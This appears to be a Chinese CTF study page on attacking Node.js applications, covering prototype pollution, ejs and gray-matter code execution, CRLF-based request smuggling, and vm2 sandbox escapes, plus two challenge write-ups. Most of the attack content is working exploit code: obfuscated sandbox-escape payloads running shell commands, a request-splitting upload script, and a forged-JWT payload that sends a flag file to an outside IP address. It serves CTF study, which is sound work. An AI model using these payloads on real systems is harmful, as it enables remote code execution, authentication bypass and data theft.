参考文章:
Node.js 相关安全问题 - MustaphaMond - 博客园
深入理解 JavaScript Prototype 污染攻击 | 离别歌
Express+lodash+ejs: 从原型链污染到RCE
i春秋2020新春战“疫”网络安全公益赛GYCTF 两个 NodeJS 题 WriteUp
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
通用#
拿到package.json首先npm audit看看依赖库有没有漏洞
原型链污染#
漏洞特征#
深入理解 JavaScript Prototype 污染攻击 以下内容出自p神的文章
我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
- 对象merge
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中) 以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}express框架如果use(bodyParser.json())或者use(express.json()),支持通过content-type接收JSON输入,我们改为application/json直接输入json数据。
ejs#
Express+lodash+ejs: 从原型链污染到RCE
ejsrender渲染中有大量代码拼接
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}如果能覆盖opts.outputFunctionName,这样我们构造的payload就会被拼接进js语句中,并在ejs渲染时进行RCE
a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //
同理,覆盖escapeFn也可以
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}lodash#
CVE-2019-10744
lodash.defaultsDeep(obj,JSON.parse(objstr));
只需要有objstr为
{"content":{"prototype":{"constructor":{"a":"b"}}}}在合并时便会在Object上附加a=b这样一个属性
JQuery#
$.extend(deep,clone,copy)会执行一个merge操作,如果copy中有名为__proto__的属性,则会向上影响原型
JavaScript特性#
JavaScript大小写特性#
- 字符
ı、ſ经过toUpperCase处理后结果为I、S - 字符
K经过toLowerCase处理后结果为k(这个K不是K)
js弱类型#
==比较
| type | {} | [] | 0 | 1 | "" | true | false | undefined |
|---|---|---|---|---|---|---|---|---|
| {} | true | false | false | false | false | false | false | false |
| [] | false | true | true | false | true | false | true | false |
| 0 | false | true | true | false | true | false | true | false |
| 1 | false | false | false | true | false | true | false | false |
| "" | false | true | true | false | true | false | true | false |
| true | false | false | false | true | false | true | false | false |
| false | false | true | true | false | true | false | true | false |
| undefined | false | false | false | false | false | false | false | true |
+- 如果两个操作数都是字符串,则将第二个操作数与第一个操作数拼接起来
- 如果只有一个操作数是字符串,则将另一个操作数转换为字符串,然后再将两个字符串拼接
- 如果有一个操作数是对象、数值或布尔值,则调用它们的
toString()方法取得相应的字符串 - 对于
undefined和null,则分别调用String()函数并取得字符串"undefined"和"null"
乱七八糟#
HackTM中一道Node.js题分析(Draw with us)
js中的对象只能使用
String类型作为键类型,什么别的类型传进去就要做一次toString()
function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}sort()方法用原地算法对数组的元素进行排序,并返回数组。默认排序顺序是在将元素转换为字符串,然后比较它们的UTF-16代码单元值序列时构建的
const array1 = [1, 30, 4, 21, 100000];
array1.sort();
console.log(array1);
// expected output: Array [1, 100000, 21, 30, 4]多字节编码截断#
虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节
> Buffer.from('http://example.com/\u010D\u010A/test', 'latin1').toString()
'http://example.com/\r\n/test'例题:[GYCTF2020]Node Game
利用Nodejs 10以下http模块存在的编码问题和crlf注入达到ssrf
import urllib.parse
import requests
payload = ''' HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close
POST /file_upload HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoirYAr4M13lFjhnC
Connection: close
------WebKitFormBoundaryoirYAr4M13lFjhnC
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template
doctype html
html
head
title flag
body
include ../../../../../../../../flag.txt
------WebKitFormBoundaryoirYAr4M13lFjhnC--
GET / HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)vm沙箱逃逸#
Buffer leak#
在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
vm2v3.8.3#
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}或者
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}bypass#
- 过滤关键词,可以使用```,例如
${`${`prototyp`}e`} - 对象的属性可以用
object['attr'],也可以object.attr String.fromCharCode()可以将数字和字母转换
积累的一些库#
gray-matter#
// import * as gray from "gray-matter"
const gray = require('gray-matter');
var payload = '---js\n((require("child_process")).execSync("whoami > RCE.txt"))\n---RCE';
var username = 'admin';
const profile = gray.stringify(gray(payload).content, {username: username});
console.log(profile)例题#
[HFCTF2020]JustEscape#
vm2
/run.php?code=Error().stack返回报错信息,来看后端采用的架构:

Error
at vm.js:1:1
at Script.runInContext (vm.js:131:20)
at VM.run (/app/node_modules/vm2/lib/main.js:219:62)
at /app/server.js:51:33
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at /app/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)可以看到后端是一个JS的VM2沙箱
' " +都被ban掉了,不过利用现有的逃逸方法即可进行逃逸:VM2(3.8.3)逃逸exp
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}法一:
这里可以通过利用字符串拼接和数组调用(对象的方法或者属性名关键字被过滤的情况下可以把对象当成一个数组,然后数组里面的键名用字符串拼接出来)的方式来绕过关键字的限制,但是这里单、双引号都被ban了,直接进行字符串的拼接肯定是不行,不过可以利用反引号来代替单引号,同时利用模板字符串嵌套来拼接出需要的字符串。
比如:
`${`${`proces`}s`}`输出process

function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()变形
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`ls`).toString();
}
})()
方法二:利用base64/hex编码绕过
对前面的exp进行编码,进一步绕过过滤
base64编码payload:
global[[`eva`,%20`l`].join(``)](Buffer.from(`VHlwZUVycm9yLnByb3RvdHlwZS5nZXRfcHJvY2VzcyA9IGYgPT4gZi5jb25zdHJ1Y3RvcigicmV0dXJuIHByb2Nlc3MiKSgpOwp0cnkgewogICAgT2JqZWN0LnByZXZlbnRFeHRlbnNpb25zKEJ1ZmZlci5mcm9tKCIiKSkuYSA9IDE7Cn0gY2F0Y2ggKGUpIHsKICAgIGUuZ2V0X3Byb2Nlc3MoKCkgPT4geyB9KS5tYWluTW9kdWxlLnJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjU3luYygiY2F0IC9mbGFnIikudG9TdHJpbmcoKTsKfQ==`,%20`base64`).toString(`ascii`));hex编码payload:
(function(){TypeError[String.fromCharCode(112,114,111,116,111,116,121,112,101)][`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`] = f=>f[`\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72`](`\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x6f\x63\x65\x73\x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`](()=>{}).mainModule.require((`\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73`))[`\x65\x78\x65\x63\x53\x79\x6e\x63`](`cat /flag`).toString();}})()[OpenHarmony-CTF专题赛]Filesystem#
这是一个开发了不到百分之十的文件管理系统 tips:赛题服务环境启动较慢,请耐心等待2分钟左右再访问赛题,若长时间没有服务请尝试重启
审计代码最开始发现的就是admin.controller.ts中使用了gray-matter库来处理用户的slogon

经过测试可以直接RCE
// import * as gray from "gray-matter"
const gray = require('gray-matter');
var payload = '---js\n((require("child_process")).execSync("whoami > RCE.txt"))\n---RCE';
var username = 'admin';
const profile = gray.stringify(gray(payload).content, {username: username});
console.log(profile)
那么我就可以往slogon里写入恶意代码从而达到任意命令执行
但是到这里我们需要先伪造jwt,而secret的值让我很难相信他是真的secret,发现有几处从configFile = "/opt/filesystem/adminconfig.lock"读取内容,猜测真的secret在其中

于是继续往下走
在app.controller.ts中看到

想到软连接(ln -s后tar打包,zip不知道为什么不行)
成功读出/etc/passwd

但是尝试读环境变量和/opt/filesystem/adminconfig.lock均未果,源码位置猜谜猜了半天也没找到
想着试试tar解压目录穿越覆盖adminconfig.lock直接改掉secret
无奈中尝试直接用sec_y0u_nnnnever_know伪造jwt,没想到居然成功了,前面一大半路子白绕
import time
import jwt
import requests
malicious_slogon = """---js
{
FLAG_FILE: (() => {
try { return fetch('http://124.70.133.212:8989/?flag=' + require('child_process').execSync('cat /data/flag/f1aGG313.txt|base64;', {encoding: 'utf8'})).then(response => response.json()).then(data => console.log(data)).catch(error => console.error('Error:', error)) } catch(e) { return 'not found' }
})()
}
---"""
def forge_jwt_token(slogon="default_slogon"):
"""伪造JWT token"""
jwt_secret = "sec_y0u_nnnnever_know"
payload = {
"username": "admin",
"slogon": slogon,
"iat": int(time.time()),
"exp": int(time.time()) + 7*24*3600
}
# 生成JWT token
token = jwt.encode(payload, jwt_secret, algorithm='HS256')
print(token)
return token
token = forge_jwt_token(slogon=malicious_slogon)
暴搜flag无奈服务器太卡了,最后在ass.sh得知/data/flag目录后找到flag


